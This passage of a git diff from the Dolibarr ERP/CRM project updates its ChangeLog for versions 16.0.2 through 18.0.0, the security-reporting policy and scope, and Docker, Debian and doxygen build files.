for graph CKEditor 4.18 LGPL-2.1+ Yes Editor WYSIWYG -jQuery 3.6.0 MIT License Yes JS library +jQuery 3.6.4 MIT License Yes JS library jQuery UI 1.13.2 GPL and MIT License Yes JS library plugin UI jQuery select2 4.0.13 GPL and Apache License Yes JS library plugin for sexier multiselect. Warning: 4.0.6+ create troubles without patching css jQuery blockUI 2.70.0 GPL and MIT License Yes JS library plugin blockUI (to use ajax popups) diff --git a/ChangeLog b/ChangeLog index 18e2b1cdc72..ce8c34636f6 100644 --- a/ChangeLog +++ b/ChangeLog @@ -3,33 +3,446 @@ English Dolibarr ChangeLog -------------------------------------------------------------- +***** ChangeLog for 18.0.0 compared to 17.0.0 ***** + +NEW: PHP 8.2 compatibility. + + +WARNING: + +Following changes may create regressions for some external modules, but were necessary to make Dolibarr better: +* Minimal PHP version is now PHP 7.1 instead of PHP 7.0 +* The deprecated method "escapeunderscore()" of database handlers has been removed. You must use "escapeforlike()" instead. +* The method "nb_expedition()" has been renamed into "countNbOfShipments()" +* Revert default type of hooks. Default is now 'addreplace' hooks (and exception become 'output' hooks, that become deprecated). +* Deprecated property libelle removed from entrepot class. +* The type 'text' in ->fields property dos not accept html content anymore. Use the type 'html' for that. +* The module for WebService SOAP API have been deprecated. Use instead the Webservice REST API module. +* The method htmlPrintOnlinePaymentFooter() used for public footer pages has been renamed into htmlPrintOnlineFooter() and moved into company.lib.php + + + +***** ChangeLog for 17.0.1 compared to 17.0.0 ***** + +FIX: 17.0 PHP Warning invalid argument supplied for foreach +FIX: #[23799] - External users are not able to create events - correction +FIX: #23966 Error "Param dbt_keyfield is required but not defined +FIX: #24138 Fix box_birthdays SQL for postgres +FIX: #24201 Upload of external module fails to copy from incorrectly generated temp source dir +FIX: #24240 Dolibarr V17.0.0 PHP8 fatal error +FIX: accountancy lettering: better error management +FIX: accountancy lettering: correctly calculated number of lettering operations done +FIX: accountancy lettering: error management and prevention +FIX: accountancy lettering: prevent null results when fetching link with payments +FIX: action delete card fac rec +FIX: Add bookmark with search fields that are arrays (backport 4157263cb898f1847cfcfc22dee6007c01b13a4d) +FIX: Add missing hook on LibStatut +FIX: Add more context for selectForFormsListWhere Hook +FIX: Autofill / clear qty in inventory page +FIX: avoid php8 warnings +FIX: avoid phpunit error +FIX: can not show all csv fields (a reason for that ?) +FIX: change date on select date input when prefix is used +FIX: dol_textishtml() function +FIX: expense report accountancy: sql syntax error when performing automatic linking +FIX: Extrafields in Notes to unify with orders or invoices. +FIX: fatal error when margin enable (missing check on element), fix User::hasRight() when checking a margin right +FIX: feedbacks +FIX: FILTER_VALIDATE_EMAIL param is not a string +FIX: #24298 No error or 0.00 instead of NULL in database anymore when emptying an extrafield of type price on a propal card +FIX: full group by handle +FIX: holiday counter massaction: ErrorBadValueForParamNotAString and PHP 8 warning when no approval user right +FIX: installation superadmin creation: PHP 8 warning +FIX: invoices order on sells journal +FIX: it was not possible to update extrafields of expedition lines with batch without editing batch value +FIX: limit after order in get objects in category +FIX: method dolGetGlobalString not defined with saphir +FIX: missing column default workstation +FIX: missing drop foreign key before modify field +FIX: missing "multidir_output" for project sharing (Multicompany) +FIX: missing protection on ajax public ticket page for valid email +FIX: ODT management inverted between purchase invoice and order +FIX: PDF Espadon => display extrafields +FIX: PDF Espadon Expedition : notes and tracking number +FIX: Phpunit Rename WebsiteTest.class.php to WebsiteTest.php +FIX: project referent elements list: conf to hide tasks was flipped +FIX: Protection on agenda view for a thirdparty id that does not exist +FIX: search_project_user +FIX: societe list: regression to redirection to customer card when single result of search filters +FIX: SQL error "unknown column p.fk_soc" because ANSI-92 joins take precedence over ANSI-89 joins +FIX: task have the same entity of project +FIX: token error when closing ticket from public interface +FIX: Warning on purchase order + Property fk_commande not defined + + + ***** ChangeLog for 17.0.0 compared to 16.0.0 ***** For users: --------------- -NEW Minimal PHP version is now PHP 7.0 instead of PHP 5.6 - -... +NEW: Minimal PHP version is now PHP 7.0 instead of PHP 5.6 +NEW: #21780 Add pid field to Cronjob class and store PID on job execution +NEW: #20650 can move the checkbox column on left (experimental option MAIN_CHECKBOX_LEFT_COLUMN) +NEW: #21000 Added columns 'alias_name' on project, supplier invoice, supplier order, supplier proposals and task list +NEW: #21395 Added option for dark theme mode in display - color and theme +NEW: #21397 added option to auto define barcode numbers for third-parties in barcode module setup +NEW: #21399 +NEW: #21442 Enhancement of module builder init +NEW: #21654 add bank account number used on invoices for debit +NEW: #22048 Added notes to productlot module +NEW: #22298 Bank - Add salaries & vat in the tab of planned entries of a bank account +NEW: #22328 +NEW: #22424 +NEW: #22500 member module set up made easier +NEW: #22527 projects and thirdparties can be viewed as conversation ("Message" view), like events/agenda. +NEW: #22546 can now set user supervisors using mass action in htdocs/user +NEW: #22594 can chose if VAT ID is unique or not for third parties +NEW: #22622 all partnerships displayed on tab partnership of a thirdparty and member +NEW: #22676 massaction for updating product prices +NEW: #22735 Massaction to assign users on projects +NEW: #4482 adding js to hide/show advanced option on the export data page +NEW: Accountancy - Add a graphic option to enable lettering function - FPC21 +NEW: Accountancy - Add a way to clean some words when you generate thirdparty accounting account +NEW: Accountancy - Added an option during export to export or not the lettering FPC21 +NEW: Accountancy - Manage supplier deposit with specific account +NEW: Accountancy - Model Digitaria - Add a way to clean some words when you generate thirdparty accounting account FPC22 +NEW: Add a button "Test collect" in email collector +NEW: Add a constant to disallow modification of the product reference. +NEW: Add a method doAutoRenewContracts that can be used as a cron task. +NEW: Add " as enclosure by default for CSV export. Keep removing CR/LF. +NEW: add attached file in presend email form of thirdparty card +NEW: Add a way to enter LICENSE file content in property of website +NEW: Add badge in admin extrafields setup +NEW: add constant PROPAL_BYPASS_VALIDATED_STATUS +NEW: Add date event (!= date project) and location on event organization +NEW: Add employment anniversary in birthday box +NEW: Add extrafield type "IP" to store IP addresses +NEW: Add fail2ban rules examples to limit access to /public pages +NEW: Add filter "Product subject to lot/Serial" in stock per lot/serial +NEW: Add hidden option MAIN_EMAIL_SUPPORT_ACK to restore Email ack checkbox (feature abandonned by mailers) +NEW: Add IMAP port setting on email collector module +NEW: Adding JAPAN Chart-of-Account and regions/departments +NEW: Adding NIF verification for Algeria +NEW: Add link to create an element from the category page +NEW: add margin infos to takepos invoice lines +NEW: Add max size send for "backup and link to mail" option +NEW: Add method httponly_accessforbidden() +NEW: Add more advices into the Setup security page +NEW: Add new global variable for keeping the previous signature information on proposal (case of reopening a proposal) +NEW: Add objectLink on shipment +NEW: Add option --force on CLI cron_run_jobs.php +NEW: Add option "Show price on the generated documents for receptions" +NEW: Add performance index (name for company and contact) and llx_bank_url(url_id) +NEW: Add picto property on sub-module for password generation +NEW: add redirect on action confirm addconsumedline and addproduceline +NEW: Add a new advanced permission "read price" +NEW: Add substitution key __SENDEREMAIL_SIGNATURE__ +NEW: Add the referrer-policy to "same-origin" by default on all public pages. +NEW: Add the SMTP header References on ticket email created by email +NEW: Add the thirdparty column to the time list (projet/tasks/time.php) +NEW: Add trigger to record the event of sending an email from a project #20912 +NEW: Allow download link option in module configuration (propal,invoice,supplier proposal, order) +NEW: Bulk action to remove a category in list/search website pages +NEW: Can copy/paste images into emails sent. +NEW: Can edit label of an emailing even once sent +NEW: Can edit property css, cssview, csslist on extrafields +NEW: Can enter the unit price including the vat when adding new product lines on invoices, orders, proposals, ... +NEW: Can invoice task time per different services +NEW: Can join several files by default on email form +NEW: Can send an email on scheduled job error +NEW: Can set a commercial discount by entering amount including VAT +NEW: Can set a monthly frequency (or multiple) in cron tasks. +NEW: Can set start and end dates and comment on button "Activate all services" +NEW: Can sort on preselected best supplier price +NEW: Can use products categories to make inventory +NEW: Change filter type on tickets list into a multiselect combo +NEW: conf TIMESPENT_ALWAYS_UPDATE_THM, when it's on we always check current thm of user to update it in task time line +NEW: constant PROPAL_NEW_AS_SIGNED +NEW: show date delivery planned on orders linked to company and product +NEW: Default doc template of contracts is not mandatory +NEW: Default values in extrafields are no more limited to 255 char. +NEW: display currency in takepos menu +NEW: Enable online signature for interventions +NEW: extrafield price with currency +NEW: filter on reception dates (from / to) in cheque paiement card +NEW: Members: default_lang for members +NEW: Members: Table of membership types +NEW: Members: add free membership amounts at the membership type level +NEW: TakePOS: Header Scroll in TakePOS +NEW: TakePOS: add price to product box in TakePOS +NEW: TakePOS: add setup parameters, can setup terminal name +NEW: TakePOS: support of Stripe Terminal with TakePOS +NEW: TakePOS: Receipt preview in TakePOS setup +NEW: TakePOS: different product list on smartphone +NEW: Website: can delete a whole website if disabled +NEW: Website: can remove a website template +NEW: Website: can set header "Strict-Transport-Security" in web sites. +NEW: Website: can switch status of website and page from the website toolbar +NEW: Website: Templates of websites are now directories and not zip into core repo +NEW: Website: add 4 other templates in website module +NEW: Website: Add counters for public access of pages on a website +NEW: If we select another view list mode, we keep it +NEW: Init module bookcal +NEW: Encrypt all sensitive constants in llx_const using dolEncrypt/dolDecrypt +NEW: Invoice - Add french mention on pdf when vat debit option is on +NEW: invoice export : add accounting affectation +NEW: label on products categories filter +NEW: The link "add to bookmark" is always on top in the bookmark popup +NEW: MAIN_SEARCH_CATEGORY_PRODUCT_ON_LISTS const to show category customer filter +NEW: Make module WebservicesClient deprecated. Use module WebHook instead. +NEW: manage no email with thirdparties (better for GDPR) +NEW: Manage Position (Rank) on Contract Lines +NEW: Manage VAT on all lines on purchases cycle +NEW: Page to show virtual stock at a future date +NEW: On a bank reconciled line, we can modify the bank receipt +NEW: On a form to send an email, we show all emails of all contacts of object +NEW: Option PRODUCTBATCH_SHOW_WAREHOUSE_ON_SHIPMENT showing wh on PDF +NEW: Option PRODUIT_DESC_IN_FORM accept (desktop only or +smartphone) +NEW: Page for mass stock transfer can be used with no source stock +NEW: parent company column and filter in invoice and order list +NEW: Add "Show Sales rep" option for PDF +NEW: Picto for shared link is clickable +NEW: possibility to select scopes with checkbox for Oauth tokens +NEW: private and public note on user, thirdparty and contact list +NEW: product categories filter on inventory list +NEW: Product supplier price: autofill default supplier VAT +NEW: Project - author field become an available column on lists +NEW: Reception - Add a from/to on search on date field +NEW: Start a simple support of recurrent events on agenda +NEW: Resize parent company column in order list +NEW: Saved token of OAUTH module are now encrypted into llx_oauth_token +NEW: Save one click to select on delivery ack, on emails. +NEW: scheduled job to send unpaid invoice reminder can now use the cc and bcc from email template +NEW: set thirdparty type with company modify trigger +NEW: Show also scheduled task never finished in scheduled task widget +NEW: show badge with number of extrafields in setup +NEW: show category tree in sellist and chkbxlst for common object +NEW: Show picto and color into combo for selection of tags +NEW: show product label on inventory +NEW: show sell-by and eat-by dates only if not empty +NEW: show SellBy/EatBy dates for each batch product in shipment card +NEW: Can skip accept/refuse steps for proposals (option PROPAL_SKIP_ACCEPT_REFUSE) +NEW: experimental SMTP using PhpImap allowing OAuth2 authentication (need to add option MAIN_IMAP_USE_PHPIMAP) +NEW: can substitue project title in mail template +NEW: Supplier order list - Add column private and public note +NEW: The purge of files can purge only if older than a number of seconds +NEW: Update ActionComm type_code on email message ticket +NEW: VAT - Admin - Add information on deadline day for submission of VAT declaration +NEW: expand/collapse permissions on user permission page +NEW: Show delivery mode on PDF for proposals +NEW: Add the target to select attendees of event for emailings +NEW: Can set background style with MAIN_LOGIN_BACKGROUND_STYLE + Modules +NEW: Experimental module Asset For developers or integrators: ------------------------------ -NEW Minimal PHP version is now PHP 7.0 instead of PHP 5.6 - -... +NEW: ModuleBuilder can generate code for a class from an existing SQL table +NEW: #22370 Modulebuilder supports 'alwayseditable' (like extrafields) +NEW: #20912 Add trigger to record the event of sending an email from a project +NEW: #21750 Added "Get lines and Post lines from BOM" at the REST Service +NEW: Removed completely the need for the library adodbtime +NEW: hook on agenda pages +NEW: hook to complete payment in TakePOS +NEW: hook "changeHelpURL" to modify target of the help button +NEW: hook formConfirm on action comm card +NEW: hook to modify supplier product html select +NEW: Add new hook for show virtual stock details on product stock card +NEW: Add new hooks for actioncomm +NEW: conf->global->SYSLOG_FILE_ONEPERSESSION accept a string +NEW: translation for contact type API, setup/ticket API, shipping method API +NEW: All ajax pages have now a header build with top_httphead() +NEW: support multilang in Civilities API +NEW: Add API for the partnership module +NEW: Add "Get lines and Post lines from BOM" in the API +NEW: Replace property fk_categories_product with categories_product in inventory class +NEW: Rewrite of SQL request. Removed the join on category table (for filter on category), replaced with a EXISTS/NOT +NEW: Add oldcopy to Ticket so triggers intercepting TICKET_MODIFY have access to old values of the updated properties +NEW: #19680 Add option PRODUCT_ALLOW_EXTERNAL_DOWNLOAD to automatically have uploaded files shared publicly by a link +NEW: Add option FICHINTER_ALLOW_EXTERNAL_DOWNLOAD WARNING: Following changes may create regressions for some external modules, but were necessary to make Dolibarr better: -* The signature of method getNomUrl() of class ProductFournisseur has been modified to match the signature of method Product +* Minimal PHP version is now PHP 7.0 instead of PHP 5.6 +* The signature of method getNomUrl() of class ProductFournisseur has been modified to match the signature of method Product->getNomUrl() * Trigger ORDER_SUPPLIER_DISPATCH is removed, use ORDER_SUPPLIER_RECEIVE and/or LINEORDER_SUPPLIER_DISPATCH instead. * All functions fetch_all() have been set to deprecated for naming consitency, use fetchAll() instead. * Code standardization: '$user->rights->propale' is now '$user->rights->propal' everywhere. * Deprecated method set_billed() on shipment and reception class has been removed. Use setBilled() instead. * Tables llx_prelevement_facture and llx_prelevement_facture_demande have been renamed into llx_prelevement and llx_prelevement_demande. +* Rename MAIN_LIST_ALLOW_NOTES into MAIN_LIST_HIDE_NOTES and rename MAIN_LIST_ALLOW_PRIVATE_NOTES into MAIN_LIST_HIDE_PRIVATE_NOTES +* Rename the substitution for "project label" instead of "project title" in substitution variables +* You must use "$objectoffield" to manipulate the current object inside the formulare of computed custom extrafields instead of $obj/$object. +* Making a global search is sending the parameter using always the name search_all (instead of sometimes sall and search_all) +* The property $url_last_version must be public if defined into module descriptor files; + +***** ChangeLog for 16.0.5 compared to 16.0.4 ***** + +FIX: 16.0 propalestats Unknown column 'p.fk_soc' in 'on clause' +FIX: #23804 +FIX: #23860 +FIX: #23966 Error "Param dbt_keyfield is required but not defined" +FIX: accountancy lettering: better error management +FIX: accountancy lettering: correctly calculated number of lettering operations done +FIX: accountancy lettering: error management and prevention +FIX: accountancy lettering: prevent null results when fetching link with payments +FIX: Add missing hook on LibStatut +FIX: Add more context for selectForFormsListWhere Hook +FIX: attach file and send by mail in ticket +FIX: bad check on if in get_all_ways +FIX: Cannot import find type_fees with cgenericdic.class because it has id and not rowid +FIX: clicktodial backtopage +FIX: discount wasn't taken into account when adding a line in BOM +FIX: expense reports: error when selecting mileage fees expense type if MAIN_USE_EXPENSE_IK disabled +FIX: expense reports: JS error when selecting mileage fees expense type if MAIN_USE_EXPENSE_IK disabled +FIX: Extrafields in Notes to unify with orders or invoices. +FIX: fatal error on clicktodial backtopage +FIX: filter sql accounting account +FIX: Get data back on product update +FIX: Get data back when error on command create +FIX: label dictionary is used by barcode and member module +FIX: mandatory date for service didnt work for invoice +FIX: missing "authorid" for getNomUrl link right access +FIX: missing getEntity filter +FIX: vulnerability: missing protection on ajax public ticket page for valid email. +FIX: Missing right to edit service note when module product is disabled +FIX: multicompany compatibility +FIX: object $user is not defined +FIX: Object of class LDAP\Connection could not be converted to string +FIX: parse error and NAN +FIX: product ref fourn same size in supplier order/invoice as in product price fourn +FIX: Profit calculation on project preview tab. +FIX: Remove orphelan $this->db->rollback() in the function insertExtrafields() +FIX: request new password with "mc" and "twofactor" authentication +FIX: Resolve error message due to missing arguments +FIX: select for task in event card +FIX: several email sent to the same recipient when adding message from ticket +FIX: shipping list for external user +FIX: SQL error "unknown column p.fk_soc" because ANSI-92 joins take precedence over ANSI-89 joins +FIX: strato pdf +FIX: typos in getAttchments() $arrayobject +FIX: whitespaces +FIX: wrong url param name action + + +***** ChangeLog for 16.0.4 compared to 16.0.3 ***** + +FIX: Amount of localtax1 and 2 not correctly save on purchase order (the rate was saved instead) +FIX: #20415 +FIX: #21280 +FIX: #22271 +FIX: #22524 +FIX: #22837 +FIX: #22964 +FIX: #23008 +FIX: #23012 +FIX: #23019 Impossible to add task times to an existing draft invoice +FIX: #23072 +FIX: #23075 +FIX: #23087 +FIX: #23115 +FIX: #23116 +FIX: #23117 +FIX: #23281 +FIX: #23420 : wrong check on $search_categ value causing FATAL ERROR +FIX: Accountancy - Quadra export +FIX: add border left on image product when conf activated +FIX: Add missing token when deleting template inn order_supplier admin menu +FIX: API access for deactivated users +FIX: bad selection of barcode numbering module +FIX: Can't see all time spent by all user +FIX: CI +FIX: CommonObject - showOptionals - Display blank td when MAIN_VIEW_LINE_NUMBER is enabled and action is confirm_valid +FIX: Documents API inconsistency +FIX: Empty FormSetup emailTemplate type IF empty fieldvalue +FIX: Errors Handling for CreateFrom Hooks +FIX: error with dol_banner_tab, ref is needed +FIX: ExpenseReport card was not reloaded after addline +FIX: get multicurrency infos of propal when create order from propal with "WORKFLOW_PROPAL_AUTOCREATE_ORDER" conf +FIX: Give predictable order to inventory lines +FIX: include class multicurrency +FIX: methods declaration (backport fix 67b9a7dc07d708231d12b5e58800334d4a01ef98) +FIX: multicurrency_tx and not currency_tx +FIX: on public ticket list, only the page 1 was accessible. Other pages were 404 error. +FIX: PGSQL Integer type does not have a free lenght +FIX: Product list in setup.php in new Module +FIX: propal and order stats broken on Tag+User(retricted customer list) +FIX: saving of numbering module for jobs +FIX: Stickler +FIX: travis +FIX: wrong check on $search_categ value causing fatal error +FIX: wrong stock list with multicompany and without stock sharing + +***** ChangeLog for 16.0.3 compared to 16.0.2 ***** + +FIX: $sign is useless +FIX: #18304 Member subscription confirmation email sent even if mandatory fields are missing +FIX: #19828 +FIX: #19877 +FIX: #22509 default value on integer fields don't retrieve by setSaveQuery +FIX: #22786 +FIX: #22813 +FIX: #22824 Accountancy - Journal - Search on subledger when list of subledger is disabled +FIX: Backup using the low memory mode +FIX: Bankaccounts API fetch with 'id' and 'socid' +FIX: base64_decode should be forbiden in dol_eval +FIX: Broken Permissions check, $object is null. +FIX: compute next value when year is on one digit for reset counter +FIX: copy same behaviour in other accountancy files +FIX: Fix the position of the verification condition of the test field in case of multi entities +FIX: for #22882 +FIX: for #22952 +FIX: merge errors on mailing card +FIX: PaymentBankTransfer Type page management with Select and Input on create.php +FIX: remove not initialized variable +FIX: SQL request parenthesis +FIX: Use the Hook addMoreActionsButtons resPrint +FIX: Wrong Extrafields Element For Assets + +***** ChangeLog for 16.0.2 compared to 16.0.1 ***** + +FIX: 16.0 - computed extrafields are not displayed if the object has no other extrafields +FIX: #22538 +FIX: Accountancy - Review of Winfic - eWinfic - Winsis compta export format +FIX: add loadRoleMode on getlinearray +FIX: Autosearch on takepos was broken +FIX: avoid access forbidden with numeric ref +FIX: avoid error, check of product fetch is already check before +FIX: avoid error, fetch of product is mandatory (by id or by ref) +FIX: avoid unnecessary multiple calculation (#22637) +FIX: bug on selected value for select_bom() function +FIX: can not set prospect status "Do not contact" +FIX: change in the communication status of the prospect +FIX: check $id, already checked before +FIX: closed warehouse for shipping +FIX: extrafields_add tpl for stock movement +FIX: the request SQL for transversal user, the join on usergroup table must be with getEntity('usergroup') +FIX: Import of contact when there is duplicate thirdparties +FIX: Import of socialnetwork field +FIX: input selector is wrong with PRODUCT_LOAD_EXTRAFIELD_INTO_OBJECTLINES usage +FIX: install wizard error management +FIX: just add integer +FIX: Missing $object for online signature link build +FIX: missing quote +FIX: only modify hidden checkbox/multislected extrafields on update if they are provided in request +FIX: php doc +FIX: private message ticket become public if edit action +FIX: remove > 0 and -1 +FIX: remove db object to avoid error with postgresql +FIX: Search ambigous field on MO list +FIX: Search on social networks +FIX: Subscription must be stopped when max of attendees reached. +FIX: supplier price update: missing error reporting +FIX: travis & stickler feedbacks +FIX: we must be able to select only bom of a specific product + several fixes on select_bom() function +FIX: wrong perm check +FIX: wrong typo, remove quote +FIX: wrong var typo ***** ChangeLog for 16.0.1 compared to 16.0.0 ***** diff --git a/README.md b/README.md index 826955aef92..e4b464d77b4 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ ![Downloads per day](https://img.shields.io/sourceforge/dw/dolibarr.svg) ![Build status](https://img.shields.io/travis/Dolibarr/dolibarr/develop.svg) -[![Minimum PHP Version](https://img.shields.io/badge/php-%3E%3D%205.6-8892BF.svg?style=flat-square)](https://php.net/) +[![Minimum PHP Version](https://img.shields.io/badge/php-%3E%3D%207.0-8892BF.svg?style=flat-square)](https://php.net/) [![GitHub release](https://img.shields.io/github/v/release/Dolibarr/dolibarr)](https://github.com/Dolibarr/dolibarr) [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/5521/badge)](https://bestpractices.coreinfrastructure.org/projects/5521) diff --git a/SECURITY.md b/SECURITY.md index cd3156bece9..3c89a2f38e1 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -6,9 +6,8 @@ This file contains some policies about the security reports on Dolibarr ERP CRM | Version | Supported | | ---------- | ---------------------- | -| <= 15.0.0 | :x: | -| >= 15.0.1+ | :white_check_mark: except CSRF attacks| -| >= 16.0.0 | :white_check_mark: | +| <= 16.0.2 | :x: | +| >= 16.0.3 | :white_check_mark: | | >= develop | :white_check_mark: | ## Reporting a Vulnerability @@ -54,20 +53,21 @@ ONLY vulnerabilities discovered, when the following setup on test platform is us * $dolibarr_nocsrfcheck must be kept to the value 0 into conf.php (this is the default value) * $dolibarr_main_force_https must be set to something else than 0. * The constant MAIN_SECURITY_CSRF_WITH_TOKEN must be set to 3 into backoffice menu Home - Setup - Other (this protection should be set to 3 soon by default) -* The module DebugBar and ModuleBuilder must NOT be enabled (by default, these modules are not enabled. They are developer tools) * ONLY security reports on modules provided by default and with the "stable" status are valid (troubles into "experimental", "developement" or external modules are not valid vulnerabilities). * The root of web server must link to htdocs and the documents directory must be outside of the web server root (this is the default when using the default installer but may differs with external installer). * The web server setup must be done so that only the documents directory is in write mode. The root directory called htdocs must be read-only. * CSRF attacks are accepted but double check that you have set MAIN_SECURITY_CSRF_WITH_TOKEN to value 3. +* The module DebugBar and ModuleBuilder must NOT be enabled (by default, these modules are not enabled. They are developer tools) * Ability for a high level user to edit web site pages into the CMS by including HTML or Javascript is an expected feature. Vulnerabilities into the website module are validated only if HTML or Javascript injection can be done by a non allowed user. +* Fail2ban rules for rate limit on the login page,password forgotten page and all public pages (/public/*) must be installed as recommendend into the section "About - Admin tools - Section Access limits and mitigation". Scope is the web application (back office) and the APIs. -## Qualifying vulnerabilities for reporting +## Example of vulnerabilities Qualified for reporting. * Remote code execution (RCE) * Local files access and manipulation (LFI, RFI, XXE, SSRF, XSPA) -* Code injections (HTML, JS, SQL, PHP, ...) +* Code injections (JS, SQL, PHP). HTML are covered only for fields that are not description, notes or comments fields (where rich content is allowed on purpose). * Cross-Site Scripting (XSS), except from setup page of module "External web site" (allowing any content here, editable by admin user only, is accepted on purpose) and except into module "Web site" when permission to edit website content is allowed (injecting any data in this case is allowed too). * Cross-Site Requests Forgery (CSRF) with real security impact (when using GET URLs, CSRF are qualified only for creating, updating or deleting data from pages restricted to admin users) * Open redirect @@ -79,7 +79,7 @@ Scope is the web application (back office) and the APIs. * Software version disclosure (for non admin users only) * Stack traces or path disclosure (for non admin users only) -## Non-qualifying vulnerabilities for reporting +## Example of vulnerabilities non Non-qualified for reporting. * "Self" XSS * SSL/TLS best practices @@ -96,3 +96,4 @@ Scope is the web application (back office) and the APIs. * Software version or private IP disclosure when logged user is admin * Stack traces or path disclosure when logged user is admin * Any vulnerabilities due to a configuration different than the one defined into chapter "Scope for qualified vulnerabilities". +* Brute force attacks on login page, password forgotten page or any public pages (/public/*) are not qualified if the fail2ban recommended fail2ban rules were not installed. diff --git a/build/debian/compat b/build/debian/compat index c7930257dfe..9a037142aa3 100644 --- a/build/debian/compat +++ b/build/debian/compat @@ -1 +1 @@ -7 \ No newline at end of file +10 \ No newline at end of file diff --git a/build/debian/source/include-binaries b/build/debian/source/include-binaries deleted file mode 100644 index 021641d5c04..00000000000 --- a/build/debian/source/include-binaries +++ /dev/null @@ -1,2 +0,0 @@ -htdocs/install/doctemplates/websites/website_template-corporate.zip -htdocs/install/doctemplates/websites/website_template-stellar.zip \ No newline at end of file diff --git a/build/debian/source/options b/build/debian/source/options new file mode 100644 index 00000000000..8d8fd181896 --- /dev/null +++ b/build/debian/source/options @@ -0,0 +1,3 @@ +# Force use of gzip compression by dpkg-buildpackage +compression = "gzip" +#compression-level = 9 diff --git a/build/docker/Dockerfile b/build/docker/Dockerfile index ead2a8af1c5..69f4d27b26f 100644 --- a/build/docker/Dockerfile +++ b/build/docker/Dockerfile @@ -1,4 +1,4 @@ -FROM php:7.3-apache +FROM php:8.1-apache-bullseye ENV PHP_INI_DATE_TIMEZONE 'UTC' ENV PHP_INI_MEMORY_LIMIT 256M @@ -25,7 +25,7 @@ RUN apt-get update -y \ mailutils \ && apt-get autoremove -y \ && rm -rf /var/lib/apt/lists/* \ - && docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \ + && docker-php-ext-configure gd --with-freetype --with-jpeg \ && docker-php-ext-install -j$(nproc) calendar intl mysqli pdo_mysql gd soap zip \ && docker-php-ext-configure ldap --with-libdir=lib/x86_64-linux-gnu/ \ && docker-php-ext-install -j$(nproc) ldap && \ diff --git a/build/docker/README.md b/build/docker/README.md index d469c7c7aae..007b5db6ace 100644 --- a/build/docker/README.md +++ b/build/docker/README.md @@ -25,7 +25,7 @@ The URL to go to the Dolibarr is : The URL to go to PhpMyAdmin is (login/password is root/root) : http://0.0.0.0:8080 - + In Dolibarr configuration Email let PHP mail function, To see all mail send by Dolibarr go to maildev http://0.0.0.0:8081 diff --git a/build/docker/docker-compose.yml b/build/docker/docker-compose.yml index 8994043cd8a..e197d5dd06e 100644 --- a/build/docker/docker-compose.yml +++ b/build/docker/docker-compose.yml @@ -34,6 +34,8 @@ services: build: . environment: HOST_USER_ID: $HOST_USER_ID + PHP_INI_DATE_TIMEZONE: $PHP_INI_DATE_TIMEZONE + PHP_INI_MEMORY_LIMIT: $PHP_INI_MEMORY_LIMIT volumes: - ../../htdocs:/var/www/html/ - ../../documents:/var/documents diff --git a/build/docker/docker-run.sh b/build/docker/docker-run.sh index 4e69ea4a3a2..fbd256ab625 100644 --- a/build/docker/docker-run.sh +++ b/build/docker/docker-run.sh @@ -15,10 +15,10 @@ fi echo "[docker-run] => Set Permission to www-data for /var/documents" chown -R www-data:www-data /var/documents -if [ ! -f /usr/local/etc/php/php.ini ]; then - cat < /usr/local/etc/php/php.ini -date.timezone = $PHP_INI_DATE_TIMEZONE +echo "[docker-run] => update ${PHP_INI_DIR}/conf.d/dolibarr-php.ini" +cat < ${PHP_INI_DIR}/conf.d/dolibarr-php.ini +date.timezone = ${PHP_INI_DATE_TIMEZONE:-UTC} +memory_limit = ${PHP_INI_MEMORY_LIMIT:-256M} EOF -fi exec apache2-foreground diff --git a/build/doxygen/dolibarr-doxygen-build.pl b/build/doxygen/dolibarr-doxygen-build.pl index 75a5cceddbe..5a4849a3a5b 100755 --- a/build/doxygen/dolibarr-doxygen-build.pl +++ b/build/doxygen/dolibarr-doxygen-build.pl @@ -17,9 +17,9 @@ use Cwd; my $dir = getcwd; print "Current dir is: $dir\n"; -print "Running dir for doxygen must be: $DIR\n"; +#print "Running dir for doxygen must be: $DIR\n"; -if (! -s $CONFFILE) +if (! -s "build/doxygen/$CONFFILE") { print "Error: current directory for building Dolibarr doxygen documentation is not correct.\n"; print "\n"; @@ -30,7 +30,7 @@ if (! -s $CONFFILE) exit 1; } -$SOURCE="../.."; +$SOURCE="."; # Get version $MAJOR, $MINOR and $BUILD $result = open( IN, "< " . $SOURCE . "/htdocs/filefunc.inc.php" ); @@ -47,8 +47,8 @@ $version=$MAJOR.".".$MINOR.".".$BUILD; print "Running doxygen for version ".$version.", please wait...\n"; -print "cat $CONFFILE | sed -e 's/x\.y\.z/".$version."/' | doxygen $OPTIONS - 2>&1\n"; -$result=`cat $CONFFILE | sed -e 's/x\.y\.z/$version/' | doxygen $OPTIONS - 2>&1`; +print "cat build/doxygen/$CONFFILE | sed -e 's/x\.y\.z/".$version."/' | doxygen $OPTIONS - 2>&1\n"; +$result=`cat build/doxygen/$CONFFILE | sed -e 's/x\.y\.z/$version/' | doxygen $OPTIONS - 2>&1`; print $result; diff --git a/build/doxygen/dolibarr-doxygen.doxyfile b/build/doxygen/dolibarr-doxygen.doxyfile index 31400661ecc..6f668ebad7e 100644 --- a/build/doxygen/dolibarr-doxygen.doxyfile +++ b/build/doxygen/dolibarr-doxygen.doxyfile @@ -1,14 +1,17 @@ -# Doxyfile 1.7.3 +# Doxyfile 1.8.16 # This file describes the settings to be used by the documentation system -# doxygen (www.doxygen.org) for a project +# doxygen (www.doxygen.org) for a project. # -# All text after a hash (#) is considered a comment and will be ignored +# All text after a double hash (##) is considered a comment and is placed in +# front of the TAG it is preceding. +# +# All text after a single hash (#) is considered a comment and will be ignored. # The format is: -# TAG = value [value, ...] -# For lists items can also be appended using: -# TAG += value [value, ...] -# Values that contain spaces should be placed between quotes (" ") +# TAG = value [value, ...] +# For lists, items can also be appended using: +# TAG += value [value, ...] +# Values that contain spaces should be placed between quotes (\" \"). #--------------------------------------------------------------------------- # Project related configuration options @@ -38,7 +41,7 @@ PROJECT_NUMBER = x.y.z # If a relative path is entered, it will be relative to the location # where doxygen was started. If left blank the current directory will be used. -OUTPUT_DIRECTORY = ../../build +OUTPUT_DIRECTORY = build # If the CREATE_SUBDIRS tag is set to YES, then doxygen will create # 4096 sub-directories (in 2 levels) under the output directory of each output @@ -114,7 +117,7 @@ FULL_PATH_NAMES = YES # If left blank the directory from which doxygen is run is used as the # path to strip. -STRIP_FROM_PATH = "../.." +STRIP_FROM_PATH = "/home/dolibarr/doxygen.dolibarr.org/" # The 